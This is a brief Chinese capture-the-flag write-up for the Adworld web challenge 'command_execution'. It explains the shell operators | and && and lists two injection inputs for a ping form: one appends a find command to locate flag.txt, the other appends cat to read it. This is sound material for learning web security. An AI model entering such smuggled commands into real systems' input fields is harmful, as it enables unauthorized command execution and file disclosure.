攻防世界-web-command_execution

题目：

原理：

| 的作用为将前一个命令的结果传递给后一个命令作为输入
&&的作用是前一条命令执行成功时，才执行后一条命令

方法一：

第一步：

1.打开浏览器，在文本框内输入127.0.0.1 | find / -name “flag.txt” （将 | 替换成 & 或 && 都可以）,查找flag所在位置，如图所示。

第二步：

2.在文本框内输入 127.0.0.1 | cat /home/flag.txt 可得到flag，如图所示。